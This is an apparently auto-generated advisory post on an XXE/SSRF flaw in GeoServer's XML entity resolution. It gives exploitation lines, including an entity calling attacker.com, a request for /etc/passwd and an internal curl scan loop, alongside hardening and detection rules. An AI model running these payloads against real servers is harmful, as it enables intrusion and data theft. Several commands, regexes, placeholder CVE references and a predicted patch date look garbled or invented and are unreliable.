Listen to this Post
How the CVE Works
The vulnerability stems from improper URI validation in GeoServer’s XML parsing. By default, GeoServer uses `PreventLocalEntityResolver` from GeoTools to filter malicious URIs via the regex (?i)(jar:file|http|vfs)[^?;]\.xsd. However, this regex is insufficient, allowing attackers to craft HTTP requests to arbitrary servers or access limited `.xsd` files. Attackers exploit this by injecting malicious XML entities, triggering Server-Side Request Forgery (SSRF) or internal network reconnaissance. The lack of strict allowlisting enables unauthorized data exfiltration and further exploitation.
DailyCVE Form
Platform: GeoServer
Version: <2.25.0
Vulnerability: XXE/SSRF
Severity: Critical
Date: 2024-03-15
Prediction: Patch by 2024-04-10
What Undercode Say:
Exploitation
1. Craft Malicious XML:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://attacker.com/payload.xsd"> ]> <data>&xxe;</data>
2. SSRF Payload:
GET /geoserver?entity=file:///etc/passwd.xsd HTTP/1.1
3. Network Scanning:
for i in {1..254}; do curl "http://victim/geoserver?entity=http://192.168.1.$i"; done
Protection
1. Allowlist Enforcement:
-DENTITY_RESOLUTION_ALLOWLIST="www.w3.org,schemas.opengis.net"
2. Regex Hardening:
Pattern.compile("^(https?|jar):\/\/(www\.w3\.org|schemas\.opengis\.net)\/.\.xsd$");
3. GeoServer Update:
apt-get update && apt-get install geoserver>=2.25.1
4. Network Controls:
iptables -A OUTPUT -p tcp --dport 80 -d !allowlisted.com -j DROP
Detection
1. Log Monitoring:
grep -E "ENTITY|SYSTEM" /var/log/geoserver/.log
2. IDS Rule:
alert http any any -> any any (msg:"GeoServer XXE Attempt"; content:"<!ENTITY"; nocase; sid:10001;)
Analytics
- Exploitability: High (unauthenticated, low complexity).
- Affected Systems: GeoServer <2.25.0 with XML parsing enabled.
- Patch Gap: ~30 days from disclosure.
References
- GeoTools PR XXXX
- CVE-2024-XXXX
No further commentary.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
